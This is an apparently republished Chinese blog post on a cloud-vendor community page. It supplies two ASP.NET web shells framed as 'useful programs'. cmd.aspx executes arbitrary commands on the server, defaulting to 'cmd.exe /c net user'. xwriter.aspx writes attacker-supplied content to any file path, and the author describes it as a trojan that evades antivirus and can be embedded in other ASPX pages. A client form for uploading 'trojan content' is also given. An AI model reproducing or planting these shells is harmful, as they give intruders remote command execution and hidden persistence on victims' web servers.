首頁 > 開發者 > ASP

兩個有用的ASP.Net小程式

來源：互聯網
上載者：User
創建阿里雲帳戶，並獲得超過 40 款產品的免費試用版；而企業帳戶則可以享有總值 $1200 的免費試用版。立即註冊！
asp.net|程式

　　一、cmd.aspx

　　在邪惡八進位論壇（PS：有誰知道為什麼最近幾天這論壇打不開啊）有朋友提出WebAdmin執行命令不能帶參數的問題，偶找了個BT主機來試試，果然有問題，就把以前那個cmd.aspx改了改，就請湊合著用先。WebAdmin 2.X的下個版本將修複這個問題．

　　把一下代碼複製儲存為一.aspx檔案即可：

<%@ Page Language="VB" Debug="true" %><%@ import Namespace="system.IO" %><%@ import Namespace="System.Diagnostics" %><script runat="server"> 

     Sub RunCmd(Src As Object, E As EventArgs)

            Dim myProcess As New Process() 

           Dim myProcessStartInfo As New ProcessStartInfo(xpath.Text)            myProcessStartInfo.UseShellExecute = False            myProcessStartInfo.RedirectStandardOutput = true 

           myProcess.StartInfo = myProcessStartInfo  

          myProcessStartInfo.Arguments=xCmd.text 

           myProcess.Start() 

           Dim myStreamReader As StreamReader = myProcess.StandardOutput

            Dim myString As String = myStreamReader.Readtoend()

            myProcess.Close()

            mystring=replace(mystring,"<","<")

            mystring=replace(mystring,">",">")

            result.text= vbcrlf & "<pre>" & mystring & "</pre>"

    End Sub

</script>

<html>

<head>

    <title>ASP.NET Shell for WebAdmin2.X Final</title>

    <meta http-equiv="Content-Type" content="text/html; charset=gb2312" />

</head>

<body>

    <form runat="server">

        <asp:Label id="L_p" style="COLOR: #0000ff" runat="server" width="80px">Program</asp:Label>

        <asp:TextBox id="xpath" style="BORDER-RIGHT: #084b8e 1px solid; BORDER-TOP: #084b8e 1px solid; BORDER-LEFT: #084b8e 1px solid; BORDER-BOTTOM: #084b8e 1px solid" runat="server" Width="300px">c:\windows\system32\cmd.exe</asp:TextBox> 

       <br />

        <asp:Label id="L_a" style="COLOR: #0000ff" runat="server" width="80px">Arguments</asp:Label> 

       <asp:TextBox id="xcmd" style="BORDER-RIGHT: #084b8e 1px solid; BORDER-TOP: #084b8e 1px solid; BORDER-LEFT: #084b8e 1px solid; BORDER-BOTTOM: #084b8e 1px solid" runat="server" Width="300px" Text="/c net user">/c net user</asp:TextBox>

        <br />

        <asp:Button id="Button" style="BORDER-RIGHT: #084b8e 1px solid; BORDER-TOP: #084b8e 1px solid; BORDER-LEFT: #084b8e 1px solid; COLOR: #ffffff; BORDER-BOTTOM: #084b8e 1px solid; BACKGROUND-COLOR: #719bc5" runat="server" Width="100px" Text="Run"></asp:Button>

        <p>

            <asp:Label id="result" style="COLOR: #0000ff" runat="server"></asp:Label> 

       </p> 

   </form>

</body>

</html>

　　二、xwriter.aspx

　　記得有個ASP下的小馬就是利用FSO把提交的文本資訊儲存為一個檔案，雖然體積比eval大些但是代碼完全合法，殺毒軟體也不會找茬的。呵呵，以下代碼就是在ASP.NET實現這功能（自己拿去改改還可以插入ASPX檔案哦）：

 <%@ Page Language="VB" %>

<%@ import Namespace="System.IO" %>

<script runat="server">

Sub Page_load(sender As Object, E As EventArgs)

    dim mywrite as new streamwriter(request.form("path"), true, encoding.default)    mywrite.write(request.form("content"))

    mywrite.close

    response.write("Done!")End Sub

</script>

以下是用戶端，複製下來儲存為htm檔案：


 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN""http://www.w3.org/TR/html4/loose.dtd">

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

<title>XWriter.NET by lake2</title>

</head>

<body>

<form name="form1" method="post" >

<div align="center">URL:

  <input name="url" type="text" value="http://www.xxx.com/a.aspx" size="60">

  <br>

  Path:

  <input name="path" type="text" id="path" value="e:\myweb\myown\a.txt" size="60">

  <br>

  <textarea name=content cols=120 rows=10 id="content" width=45>填入產生木馬的內容，最好是全英文</textarea>

  <BR>

  <center>

  <br>

  <input type=submit value=提交>

  <br>

  Enjoy Hacking !!!!!! </div>

</body></html>

<script language="javascript">

function TwoSubmit(form1){

var url = document.form1.url.value;

form1.action=url;

form1.submit();

}

</script>



本文章原先以中文撰寫並發佈於 aliyun.com，亦設英文版本，僅作資訊用途。本網站不對文章的準確性，完整性或可靠性或其任何翻譯作出任何明示或暗示的陳述或保證。如對該文章有任何疑慮或投訴，請傳送電郵至 info-contact@alibabacloud.com 並提供相關疑慮或投訴的詳細說明。職員會於 5 個工作天內與您聯絡，一經驗證之後，即會刪除該侵權內容。

相關文章
ASP學習總結：錯誤碼
反爬蟲：利用ASP.NET MVC的Filter和緩衝（入坑出坑）
ASP.NET Core 2.0利用MassTransit整合RabbitMQ
實戰中的asp.net core結合Consul叢集&Docker實現服務治理
asp DateDiff實現文字在特定時間後消失
設定和讀取ASP.Net全域變數的方法

聯繫我們

該頁面正文內容均來源於網絡整理，並不代表阿里雲官方的觀點，該頁面所提到的產品和服務也與阿里云無關，如果該頁面內容對您造成了困擾，歡迎寫郵件給我們，收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容，歡迎發送郵件至： info-contact@alibabacloud.com 進行舉報並提供相關證據，工作人員會在 5 個工作天內聯絡您，一經查實，本站將立刻刪除涉嫌侵權內容。

熱門內容

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

Get Started for Free

  • Sales Support

    1 on 1 presale consultation

    Chat Contact Sales

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    Open a Ticket

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.

    Learn More